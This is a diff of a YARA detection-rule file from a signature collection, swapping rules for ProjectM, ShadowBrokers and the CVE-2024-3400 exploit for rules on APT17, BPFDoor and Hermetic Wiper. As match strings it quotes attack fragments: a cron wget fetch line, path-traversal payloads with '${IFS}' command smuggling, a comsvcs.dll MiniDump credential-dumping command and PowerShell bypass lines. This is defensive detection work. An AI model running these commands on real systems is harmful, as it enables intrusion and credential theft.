-		$s1 = {4f 00 72 00 69 00 67 00 69 00 6e 00 61 00 6c 00 46 00 69 00 6c 00 65 00 6e 00 61 00 6d 00 65 00 00 00 65 00 74 00 64 00 73 00 75 00 70 00 70 00 2e 00 73 00 79 00 73 00}
-		$s2 = "etdsupp.pdb"
-		$s3 = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}([\x00-\xff]{2}[\x00-\x11]\x00[\x00-\xff]{4}|\x00\x00\x12\x00\x00\x00\x00\x00)/
+		$string1 = "SelfDestruction.cpp"
+		$string2 = "SvtShell.cpp"
+		$string3 = "InitServant"
+		$string4 = "DeinitServant"
+		$string5 = "CheckDT"
 
 	condition:
-		uint16(0)==0x5a4d and int16 ( uint32(0x3C)+0x5c)==0x0001 and filesize <100KB and all of them
+		uint16(0)==0x5a4d and all of them
 }
-rule SIGNATURE_BASE_Projectm_Darkcomet_1 : FILE
+rule SIGNATURE_BASE_APT17_Sample_FXSST_DLL : FILE
 {
 	meta:
-		description = "Detects ProjectM Malware"
+		description = "Detects Samples related to APT17 activity - file FXSST.DLL"
 		author = "Florian Roth (Nextron Systems)"
-		id = "6de74d73-f9b2-5e7f-b15e-f850425d849c"
-		date = "2016-03-26"
-		modified = "2023-01-27"
-		reference = "http://researchcenter.paloaltonetworks.com/2016/03/unit42-projectm-link-found-between-pakistani-actor-and-operation-transparent-tribe/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_project_m.yar#L10-L30"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "cc488690ce442e9f98bac651218f4075ca36c355d8cd83f7a9f5230970d24157"
-		logic_hash = "81ffaa382bb6f817fe2917a096a3eee49d2e8c281271da551ccd65679692712f"
+		id = "e4b9b25e-8895-5ba5-b706-bfb6892c16ae"
+		date = "2015-05-14"
+		modified = "2023-12-05"
+		reference = "https://goo.gl/ZiJyQv"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt17_malware.yar#L10-L36"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "52f1add5ad28dc30f68afda5d41b354533d8bce3"
+		logic_hash = "51d6da6c3ec46dc9e991a6a36de6d79626f1859296cda65e9027951c13aa4cd5"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "DarkO\\_2" fullword ascii
-		$a1 = "AVICAP32.DLL" fullword ascii
-		$a2 = "IDispatch4" fullword ascii
-		$a3 = "FLOOD/" fullword ascii
-		$a4 = "T<-/HTTP://" ascii
-		$a5 = "infoes" fullword ascii
+		$x1 = "Microsoft? Windows? Operating System" fullword wide
+		$x2 = "fxsst.dll" fullword ascii
+		$y1 = "DllRegisterServer" fullword ascii
+		$y2 = ".cSV" fullword ascii
+		$s1 = "GetLastActivePopup"
+		$s2 = "Sleep"
+		$s3 = "GetModuleFileName"
+		$s4 = "VirtualProtect"
+		$s5 = "HeapAlloc"
+		$s6 = "GetProcessHeap"
+		$s7 = "GetCommandLine"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <600KB and 4 of them ) or ( all of them )
+		uint16(0)==0x5a4d and filesize <800KB and ( all of ($x*) or all of ($y*)) and all of ($s*)
 }
-rule SIGNATURE_BASE_Projectm_Crimsondownloader : FILE
+rule SIGNATURE_BASE_MAL_LNX_Redmenshen_Bpfdoor_May23_1 : FILE
 {
 	meta:
-		description = "Detects ProjectM Malware"
+		description = "Detects BPFDoor malware"
+		author = "Florian Roth"
+		id = "25df4dba-ec6e-5999-b6be-56fe933cb0d0"
+		date = "2023-05-11"
+		modified = "2023-12-05"
+		reference = "https://www.deepinstinct.com/blog/bpfdoor-malware-evolves-stealthy-sniffing-backdoor-ups-its-game"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/mal_lnx_implant_may22.yar#L3-L42"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c58971a43443800256e791b4f9fe7c3221518b0050e5f2964b6c843ddb4549ac"
+		score = 80
+		quality = 85
+		tags = "FILE"
+		hash1 = "afa8a32ec29a31f152ba20a30eb483520fe50f2dce6c9aa9135d88f7c9c511d7"
+
+	strings:
+		$x1 = "[-] Execute command failed" ascii fullword
+		$x2 = "/var/run/initd.lock" ascii fullword
+		$xc1 = { 2F 00 3E 3E 00 65 78 69 74 00 72 00 }
+		$sc1 = { 9F CD 30 44 }
+		$sc2 = { 66 27 14 5E }
+		$sa1 = "TLS-CHACHA20-POLY1305-SHA256" ascii fullword
+		$sop1 = { 48 83 c0 01 4c 39 f8 75 ea 4c 89 7c 24 68 48 69 c3 d0 00 00 00 48 8b 5c 24 50 48 8b 54 24 78 48 c7 44 24 38 00 00 00 00 }
+		$sop2 = { 48 89 de f3 a5 89 03 8b 44 24 2c 39 44 24 28 44 89 4b 04 48 89 53 10 0f 95 c0 }
+		$sop3 = { 49 d3 cd 4d 31 cd b1 29 49 89 e9 49 d3 c8 4d 31 c5 4c 03 68 10 48 89 f9 }
+
+	condition:
+		uint16(0)==0x457f and filesize <900KB and ((1 of ($x*) and 1 of ($s*)) or 4 of them or ( all of ($sc*) and $sc1 in (@sc2[1]-50..@sc2[1]+50))) or (2 of ($x*) or 5 of them )
+}
+rule SIGNATURE_BASE_APT_MAL_LNX_Redmenshen_Bpfdoor_Controller_May22_1 : FILE
+{
+	meta:
+		description = "Detects unknown Linux implants (uploads from KR and MO)"
 		author = "Florian Roth (Nextron Systems)"
-		id = "2e0658c9-a93d-5eef-93a2-eb1ab29acaee"
-		date = "2016-03-26"
+		id = "1438c3bf-3c42-59d5-9f3f-2d72bdaaac42"
+		date = "2022-05-05"
 		modified = "2023-12-05"
-		reference = "http://researchcenter.paloaltonetworks.com/2016/03/unit42-projectm-link-found-between-pakistani-actor-and-operation-transparent-tribe/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_project_m.yar#L32-L51"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "dc8bd60695070152c94cbeb5f61eca6e4309b8966f1aa9fdc2dd0ab754ad3e4c"
-		logic_hash = "3c9a4f5aca4c9fc26d371027a32e349a456ef25d6b403a66b9afb1ee19dd4d00"
-		score = 75
+		reference = "https://doublepulsar.com/bpfdoor-an-active-chinese-global-surveillance-tool-54b078f1a896"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/mal_lnx_implant_may22.yar#L45-L76"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8de10beea4ef2e059b16d38fb015d6f091cc517b6f0c06b6ef6868518349994d"
+		score = 90
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "07ecb1f2d9ffbd20a46cd36cd06b022db3cc8e45b1ecab62cd11f9ca7a26ab6d"
+		hash2 = "4c5cf8f977fc7c368a8e095700a44be36c8332462c0b1e41bff03238b2bf2a2d"
+		hash3 = "599ae527f10ddb4625687748b7d3734ee51673b664f2e5d0346e64f85e185683"
+		hash4 = "5b2a079690efb5f4e0944353dd883303ffd6bab4aad1f0c88b49a76ddcb28ee9"
+		hash5 = "5faab159397964e630c4156f8852bcc6ee46df1cdd8be2a8d3f3d8e5980f3bb3"
+		hash6 = "93f4262fce8c6b4f8e239c35a0679fbbbb722141b95a5f2af53a2bcafe4edd1c"
+		hash7 = "97a546c7d08ad34dfab74c9c8a96986c54768c592a8dae521ddcf612a84fb8cc"
+		hash8 = "c796fc66b655f6107eacbe78a37f0e8a2926f01fecebd9e68a66f0e261f91276"
+		hash9 = "f8a5e735d6e79eb587954a371515a82a15883cf2eda9d7ddb8938b86e714ea27"
+		hash10 = "fd1b20ee5bd429046d3c04e9c675c41e9095bea70e0329bd32d7edd17ebaf68a"
 
 	strings:
-		$x1 = "E:\\Projects\\m_project\\main\\mj shoaib"
-		$s1 = "\\obj\\x86\\Debug\\secure_scan.pdb" ascii
-		$s2 = "secure_scan.exe" fullword wide
-		$s3 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run|mswall" fullword wide
-		$s4 = "secure_scan|mswall" fullword wide
-		$s5 = "[Microsoft-Security-Essentials]" fullword wide
+		$s1 = "[-] Connect failed." ascii fullword
+		$s2 = "export MYSQL_HISTFILE=" ascii fullword
+		$s3 = "udpcmd" ascii fullword
+		$s4 = "getshell" ascii fullword
+		$op1 = { e8 ?? ff ff ff 80 45 ee 01 0f b6 45 ee 3b 45 d4 7c 04 c6 45 ee 00 80 45 ff 01 80 7d ff 00 }
+		$op2 = { 55 48 89 e5 48 83 ec 30 89 7d ec 48 89 75 e0 89 55 dc 83 7d dc 00 75 0? }
+		$op3 = { e8 a? fe ff ff 0f b6 45 f6 48 03 45 e8 0f b6 10 0f b6 45 f7 48 03 45 e8 0f b6 00 8d 04 02 }
+		$op4 = { c6 80 01 01 00 00 00 48 8b 45 c8 0f b6 90 01 01 00 00 48 8b 45 c8 88 90 00 01 00 00 c6 45 ef 00 0f b6 45 ef 88 45 ee }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <400KB and $x1) or ( all of them )
+		uint16(0)==0x457f and filesize <80KB and 2 of them or 5 of them
 }
-rule SIGNATURE_BASE_FVEY_Shadowbrokers_Jan17_Screen_Strings : FILE
+rule SIGNATURE_BASE_APT_MAL_LNX_Redmenshen_Bpfdoor_Controller_May22_2 : FILE
 {
 	meta:
-		description = "Detects strings derived from the ShadowBroker's leak of Windows tools/exploits"
+		description = "Detects BPFDoor implants used by Chinese actor Red Menshen"
 		author = "Florian Roth (Nextron Systems)"
-		id = "59832d0a-0cb2-5eb9-a4e2-36aaa09a3998"
-		date = "2017-01-08"
+		id = "d5c3d530-ed6f-563e-a3b0-55d4c82e4899"
+		date = "2022-05-07"
 		modified = "2023-12-05"
-		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message7/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_fvey_shadowbroker_jan17.yar#L10-L47"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8015b227c5df68fffadb86b72843b2b831d5603978ada3f50cc535a870aa94eb"
-		score = 75
+		reference = "https://doublepulsar.com/bpfdoor-an-active-chinese-global-surveillance-tool-54b078f1a896"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/mal_lnx_implant_may22.yar#L78-L100"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7525c675dbba6eb480f1d28fc6db05bd9907725c291e64ee6dc2453fd42892a0"
+		score = 85
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "76bf736b25d5c9aaf6a84edd4e615796fffc338a893b49c120c0b4941ce37925"
+		hash2 = "96e906128095dead57fdc9ce8688bb889166b67c9a1b8fdb93d7cff7f3836bb9"
+		hash3 = "c80bd1c4a796b4d3944a097e96f384c85687daeedcdcf05cc885c8c9b279b09c"
+		hash4 = "f47de978da1dbfc5e0f195745e3368d3ceef034e964817c66ba01396a1953d72"
 
 	strings:
-		$x1 = "Danderspritz" ascii wide fullword
-		$x2 = "DanderSpritz" ascii wide fullword
-		$x3 = "PeddleCheap" ascii wide fullword
-		$x4 = "ChimneyPool Addres" ascii wide fullword
-		$a1 = "Getting remote time" fullword ascii
-		$a2 = "RETRIEVED" fullword ascii
-		$b1 = "Added Ops library to Python search path" fullword ascii
-		$b2 = "target: z0.0.0.1" fullword ascii
-		$c1 = "Psp_Avoidance" fullword ascii
-		$c2 = "PasswordDump" fullword ascii
-		$c4 = "EventLogEdit" fullword ascii
-		$d1 = "Mcl_NtElevation" fullword ascii wide
-		$d2 = "Mcl_NtNativeApi" fullword ascii wide
-		$d3 = "Mcl_ThreatInject" fullword ascii wide
-		$d4 = "Mcl_NtMemory" fullword ascii wide
+		$opx1 = { 48 83 c0 0c 48 8b 95 e8 fe ff ff 48 83 c2 0c 8b 0a 8b 55 f0 01 ca 89 10 c9 }
+		$opx2 = { 48 01 45 e0 83 45 f4 01 8b 45 f4 3b 45 dc 7c cd c7 45 f4 00 00 00 00 eb 2? 48 8b 05 ?? ?? 20 00 }
+		$op1 = { 48 8d 14 c5 00 00 00 00 48 8b 45 d0 48 01 d0 48 8b 00 48 89 c7 e8 ?? ?? ff ff 48 83 c0 01 48 01 45 e0 }
+		$op2 = { 89 c2 8b 85 fc fe ff ff 01 c2 8b 45 f4 01 d0 2d 7b cf 10 2b 89 45 f4 c1 4d f4 10 }
+		$op3 = { e8 ?? d? ff ff 8b 45 f0 eb 12 8b 85 3c ff ff ff 89 c7 e8 ?? d? ff ff b8 ff ff ff ff c9 }
 
 	condition:
-		filesize <2000KB and (1 of ($x*) or all of ($a*) or 1 of ($b*) or ( uint16(0)==0x5a4d and 1 of ($c*)) or 3 of ($c*) or ( uint16(0)==0x5a4d and 3 of ($d*)))
+		uint16(0)==0x457f and filesize <100KB and 2 of ($opx*) or 4 of them
 }
-rule SIGNATURE_BASE_SUSP_Obfuscated_JS_Obfuscatorio : HIGHVOL FILE
+rule SIGNATURE_BASE_APT_MAL_LNX_Redmenshen_Bpfdoor_Controller_May22_3 : FILE
 {
 	meta:
-		description = "Detects JS obfuscation done by the js obfuscator (often malicious)"
-		author = "@imp0rtp3"
-		id = "d808f96c-21c9-59c7-b3c7-f118d39d564e"
-		date = "2021-08-25"
+		description = "Detects BPFDoor implants used by Chinese actor Red Menshen"
+		author = "Florian Roth (Nextron Systems)"
+		id = "91c2153a-a6e0-529e-852c-61f799838798"
+		date = "2022-05-08"
 		modified = "2023-12-05"
-		reference = "https://obfuscator.io"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_susp_js_obfuscatorio.yar#L1-L39"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "813df8459e4a53a084dc1f902713af74747a0c2f4ef535e682de38acba9b0e5e"
-		score = 50
-		quality = 35
-		tags = "HIGHVOL, FILE"
+		reference = "https://doublepulsar.com/bpfdoor-an-active-chinese-global-surveillance-tool-54b078f1a896"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/mal_lnx_implant_may22.yar#L102-L119"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "afec0bfeddf5c5c2abc1a3173f636c385437e5d7c0b68665f6274011113a6a9c"
+		score = 85
+		quality = 85
+		tags = "FILE"
+		hash1 = "144526d30ae747982079d5d340d1ff116a7963aba2e3ed589e7ebc297ba0c1b3"
+		hash2 = "fa0defdabd9fd43fe2ef1ec33574ea1af1290bd3d763fdb2bed443f2bd996d73"
 
 	strings:
-		$a1 = "var a0_0x"
-		$c1 = "))),function(){try{var _0x"
-		$c2 = "=Function('return\\x20(function()\\x20'+'{}.constructor(\\x22return\\x20this\\x22)(\\x20)'+');');"
-		$c3 = "['atob']=function("
-		$c4 = ")['replace'](/=+$/,'');var"
-		$c5 = "return!![]"
-		$c6 = "'{}.constructor(\\x22return\\\x20this\\x22)(\\x20)'"
-		$c7 = "{}.constructor(\x22return\x20this\x22)(\x20)" base64
-		$c8 = "while(!![])"
-		$c9 = "while (!![])"
-		$d1 = /(parseInt\(_0x([a-f0-9]{2}){2,4}\(0x[a-f0-9]{1,5}\)\)\/0x[a-f0-9]{1,2}\)?(\+|\*\()\-?){6}/
+		$s1 = "hald-addon-acpi: listening on acpi kernel interface /proc/acpi/event" ascii fullword
+		$s2 = "/sbin/mingetty /dev" ascii fullword
+		$s3 = "pickup -l -t fifo -u" ascii fullword
 
 	condition:
-		$a1 at 0 or ( filesize <1000000 and (3 of ($c*) or $d1))
+		uint16(0)==0x457f and filesize <200KB and 2 of them or all of them
 }
-rule SIGNATURE_BASE_APT_UTA028_Forensicartefacts_Paloalto_CVE_2024_3400_Apr24_1 : SCRIPT CVE_2024_3400
+rule SIGNATURE_BASE_APT_MAL_LNX_Redmenshen_Bpfdoor_Controller_Generic_May22_1 : FILE
 {
 	meta:
-		description = "Detects forensic artefacts of APT UTA028 as found in a campaign exploiting the Palo Alto CVE-2024-3400 vulnerability"
-		author = "Florian Roth"
-		id = "32cf18ff-784d-5849-87f8-14ede7315188"
-		date = "2024-04-15"
-		modified = "2024-04-18"
-		reference = "https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/vuln_paloalto_cve_2024_3400_apr24.yar#L2-L25"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1261eecca520daa0619859a45d2289d2c23c73be55e1a3849d2032a38e137f4d"
-		score = 70
+		description = "Detects BPFDoor malware"
+		author = "Florian Roth (Nextron Systems)"
+		id = "d30df2ae-7008-53c0-9a61-8346a9c9f465"
+		date = "2022-05-09"
+		modified = "2023-12-05"
+		reference = "https://doublepulsar.com/bpfdoor-an-active-chinese-global-surveillance-tool-54b078f1a896"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/mal_lnx_implant_may22.yar#L121-L156"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "57ae5f7dc1d202fe66d6626ef2bf2278b92bec0310449ce049bdaeaec5657c77"
+		score = 90
 		quality = 85
-		tags = "SCRIPT, CVE-2024-3400"
+		tags = "FILE"
+		hash1 = "07ecb1f2d9ffbd20a46cd36cd06b022db3cc8e45b1ecab62cd11f9ca7a26ab6d"
+		hash2 = "1925e3cd8a1b0bba0d297830636cdb9ebf002698c8fa71e0063581204f4e8345"
+		hash3 = "4c5cf8f977fc7c368a8e095700a44be36c8332462c0b1e41bff03238b2bf2a2d"
+		hash4 = "591198c234416c6ccbcea6967963ca2ca0f17050be7eed1602198308d9127c78"
+		hash5 = "599ae527f10ddb4625687748b7d3734ee51673b664f2e5d0346e64f85e185683"
+		hash6 = "5b2a079690efb5f4e0944353dd883303ffd6bab4aad1f0c88b49a76ddcb28ee9"
+		hash7 = "5faab159397964e630c4156f8852bcc6ee46df1cdd8be2a8d3f3d8e5980f3bb3"
+		hash8 = "76bf736b25d5c9aaf6a84edd4e615796fffc338a893b49c120c0b4941ce37925"
+		hash9 = "93f4262fce8c6b4f8e239c35a0679fbbbb722141b95a5f2af53a2bcafe4edd1c"
+		hash10 = "96e906128095dead57fdc9ce8688bb889166b67c9a1b8fdb93d7cff7f3836bb9"
+		hash11 = "97a546c7d08ad34dfab74c9c8a96986c54768c592a8dae521ddcf612a84fb8cc"
+		hash12 = "c796fc66b655f6107eacbe78a37f0e8a2926f01fecebd9e68a66f0e261f91276"
+		hash13 = "c80bd1c4a796b4d3944a097e96f384c85687daeedcdcf05cc885c8c9b279b09c"
+		hash14 = "f47de978da1dbfc5e0f195745e3368d3ceef034e964817c66ba01396a1953d72"
+		hash15 = "f8a5e735d6e79eb587954a371515a82a15883cf2eda9d7ddb8938b86e714ea27"
+		hash16 = "fa0defdabd9fd43fe2ef1ec33574ea1af1290bd3d763fdb2bed443f2bd996d73"
+		hash17 = "fd1b20ee5bd429046d3c04e9c675c41e9095bea70e0329bd32d7edd17ebaf68a"
 
 	strings:
-		$x1 = "cmd = base64.b64decode(rst.group"
-		$x2 = "f.write(\"/*\"+output+\"*/\")"
-		$x3 = "* * * * * root wget -qO- http://"
-		$x4 = "rm -f /var/appweb/sslvpndocs/global-protect/*.css"
-		$x5a = "failed to unmarshal session(../"
-		$x5b = "failed to unmarshal session(./../"
-		$x6 = "rm -rf /opt/panlogs/tmp/device_telemetry/minute/*" base64
-		$x7 = "$(uname -a) > /var/" base64
+		$op1 = { c6 80 01 01 00 00 00 48 8b 45 ?8 0f b6 90 01 01 00 00 48 8b 45 ?8 88 90 00 01 00 00 c6 45 ?? 00 0f b6 45 ?? 88 45 }
+		$op2 = { 48 89 55 c8 48 8b 45 c8 48 89 45 ?? 48 8b 45 c8 0f b6 80 00 01 00 00 88 45 f? 48 8b 45 c8 0f b6 80 01 01 00 00 }
+		$op3 = { 48 89 45 ?? 48 8b 45 c8 0f b6 80 00 01 00 00 88 45 f? 48 8b 45 c8 0f b6 80 01 01 00 00 88 45 f? c7 45 f8 00 00 00 00 }
+		$op4 = { 48 89 7d d8 89 75 d4 48 89 55 c8 48 8b 45 c8 48 89 45 ?? 48 8b 45 c8 0f b6 80 00 01 00 00 88 45 f? }
+		$op5 = { 48 8b 45 ?8 c6 80 01 01 00 00 00 48 8b 45 ?8 0f b6 90 01 01 00 00 48 8b 45 ?8 88 90 00 01 00 00 c6 45 ?? 00 0f b6 45 }
+		$op6 = { 89 75 d4 48 89 55 c8 48 8b 45 c8 48 89 45 ?? 48 8b 45 c8 0f b6 80 00 01 00 00 88 45 f? 48 8b 45 c8 }
 
 	condition:
-		1 of them
+		uint16(0)==0x457f and filesize <200KB and 2 of them or 4 of them
 }
-rule SIGNATURE_BASE_EXPL_Paloalto_CVE_2024_3400_Apr24_1 : CVE_2024_3400
+rule SIGNATURE_BASE_APT_UA_Hermetic_Wiper_Feb22_1 : FILE
 {
 	meta:
-		description = "Detects characteristics of the exploit code used in attacks against Palo Alto GlobalProtect CVE-2024-3400"
-		author = "Florian Roth"
-		id = "1bcf0415-5351-5e09-ab93-496e8dc47c92"
-		date = "2024-04-15"
-		modified = "2024-04-24"
-		reference = "https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/vuln_paloalto_cve_2024_3400_apr24.yar#L27-L46"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9ebc94a07b189a2d2dd252b5079fa494162739678fd2ca742e6877189a140da9"
-		score = 70
+		description = "Detects Hermetic Wiper malware"
+		author = "Florian Roth (Nextron Systems)"
+		id = "2cbe4a69-e31a-5f5f-ab1a-9d71d16fb30f"
+		date = "2022-02-24"
+		modified = "2023-12-05"
+		reference = "https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ua_hermetic_wiper.yar#L2-L38"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1cf124f7533a060da8aff1a18f64a94b183502e58ffdfca012d72d99d30225ba"
+		score = 75
+		quality = 85
+		tags = "FILE"
+		hash1 = "0385eeab00e946a302b24a91dea4187c1210597b8e17cd9e2230450f5ece21da"
+		hash2 = "3c557727953a8f6b4788984464fb77741b821991acbf5e746aebdd02615b1767"
+		hash3 = "2c10b2ec0b995b88c27d141d6f7b14d6b8177c52818687e4ff8e6ecf53adf5bf"
+		hash4 = "1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591"
+
+	strings:
+		$xc1 = { 00 5C 00 5C 00 2E 00 5C 00 50 00 68 00 79 00 73
+               00 69 00 63 00 61 00 6C 00 44 00 72 00 69 00 76
+               00 65 00 25 00 75 00 00 00 5C 00 5C 00 2E 00 5C
+               00 45 00 50 00 4D 00 4E 00 54 00 44 00 52 00 56
+               00 5C 00 25 00 75 00 00 00 5C 00 5C 00 2E 00 5C
+               00 00 00 00 00 25 00 73 00 25 00 2E 00 32 00 73
+               00 00 00 00 00 24 00 42 00 69 00 74 00 6D 00 61
+               00 70 00 00 00 24 00 4C 00 6F 00 67 00 46 00 69
+               00 6C 00 65 }
+		$sc1 = { 00 44 00 72 00 69 00 76 00 65 00 72 00 73 00 00
+               00 64 00 72 00 76 00 00 00 53 00 79 00 73 00 74
+               00 65 00 6D 00 33 00 32 }
+		$s1 = "\\\\?\\C:\\Windows\\System32\\winevt\\Logs" wide fullword
+		$s2 = "\\\\.\\EPMNTDRV\\%u" wide fullword
+		$s3 = "DRV_XP_X64" wide fullword
+		$s4 = "%ws%.2ws" wide fullword
+		$op1 = { 8b 7e 08 0f 57 c0 8b 46 0c 83 ef 01 66 0f 13 44 24 20 83 d8 00 89 44 24 18 0f 88 3b 01 00 00 }
+		$op2 = { 13 fa 8b 55 f4 4e 3b f3 7f e6 8a 45 0f 01 4d f0 0f 57 c0 }
+
+	condition:
+		( uint16(0)==0x5a53 or uint16(0)==0x5a4d) and filesize <400KB and (1 of ($x*) or 3 of them )
+}
+rule SIGNATURE_BASE_APT_UA_Hermetic_Wiper_Artefacts_Feb22_1
+{
+	meta:
+		description = "Detects artefacts found in Hermetic Wiper malware related intrusions"
+		author = "Florian Roth (Nextron Systems)"
+		id = "77f793c1-b02c-59c3-b3e4-75758f5b3b8d"
+		date = "2022-02-25"
+		modified = "2023-12-05"
+		reference = "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ua_hermetic_wiper.yar#L40-L70"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5e917618a5172c68b4b32ba9e63402c2a98ccb027276b317ec169a4fef219de1"
+		score = 75
+		quality = 85
+		tags = ""
+
+	strings:
+		$sx1 = "/c powershell -c \"rundll32 C:\\windows\\system32\\comsvcs.dll MiniDump" ascii wide
+		$sx2 = "appdata\\local\\microsoft\\windows\\winupd.log" ascii wide
+		$sx3 = "AppData\\Local\\Microsoft\\Windows\\Winupd.log" ascii wide
+		$sx4 = "CSIDL_SYSTEM_DRIVE\\temp\\sys.tmp1" ascii wide
+		$sx5 = "\\policydefinitions\\postgresql.exe" ascii wide
+		$sx6 = "powershell -v 2 -exec bypass -File text.ps1" ascii wide
+		$sx7 = "powershell -exec bypass gp.ps1" ascii wide
+		$sx8 = "powershell -exec bypass -File link.ps1" ascii wide
+		$sx9 = " 1> \\\\127.0.0.1\\ADMIN$\\__16" ascii wide
+		$sa1 = "(New-Object System.Net.WebClient).DownloadFile(" ascii wide
+		$sa2 = "CSIDL_SYSTEM_DRIVE\\temp\\" ascii wide
+		$sa3 = "1> \\\\127.0.0.1\\ADMIN$" ascii wide
+		$fp1 = "<html" ascii
+
+	condition:
+		1 of ($sx*) or all of ($sa*) and not 1 of ($fp*)
+}
+rule SIGNATURE_BASE_APT_UA_Hermetic_Wiper_Scheduled_Task_Feb22_1
+{
+	meta:
+		description = "Detects scheduled task pattern found in Hermetic Wiper malware related intrusions"
+		author = "Florian Roth (Nextron Systems)"
+		id = "a628f773-9c71-5979-a4db-37b6b6bd6a56"
+		date = "2022-02-25"
+		modified = "2023-12-05"
+		reference = "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ua_hermetic_wiper.yar#L72-L88"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "56368ba1c97fe3455312b6ee86dcd1a21677f7dfa3836e76ada4b236a5b2c171"
+		score = 85
 		quality = 85
-		tags = "CVE-2024-3400"
+		tags = ""
 
 	strings:
-		$x1 = "SESSID=../../../../opt/panlogs/"
-		$x2 = "SESSID=./../../../../opt/panlogs/"
-		$sa1 = "SESSID=../../../../"
-		$sa2 = "SESSID=./../../../../"
-		$sb2 = "${IFS}"
+		$a0 = "<Task version=" ascii wide
+		$sa1 = "CSIDL_SYSTEM_DRIVE\\temp" ascii wide
+		$sa2 = "postgresql.exe 1> \\\\127.0.0.1\\ADMIN$" ascii wide
+		$sa3 = "cmd.exe /Q /c move CSIDL_SYSTEM_DRIVE" ascii wide
 
 	condition:
-		1 of ($x*) or (1 of ($sa*) and $sb2)
+		$a0 and 1 of ($s*)
 }
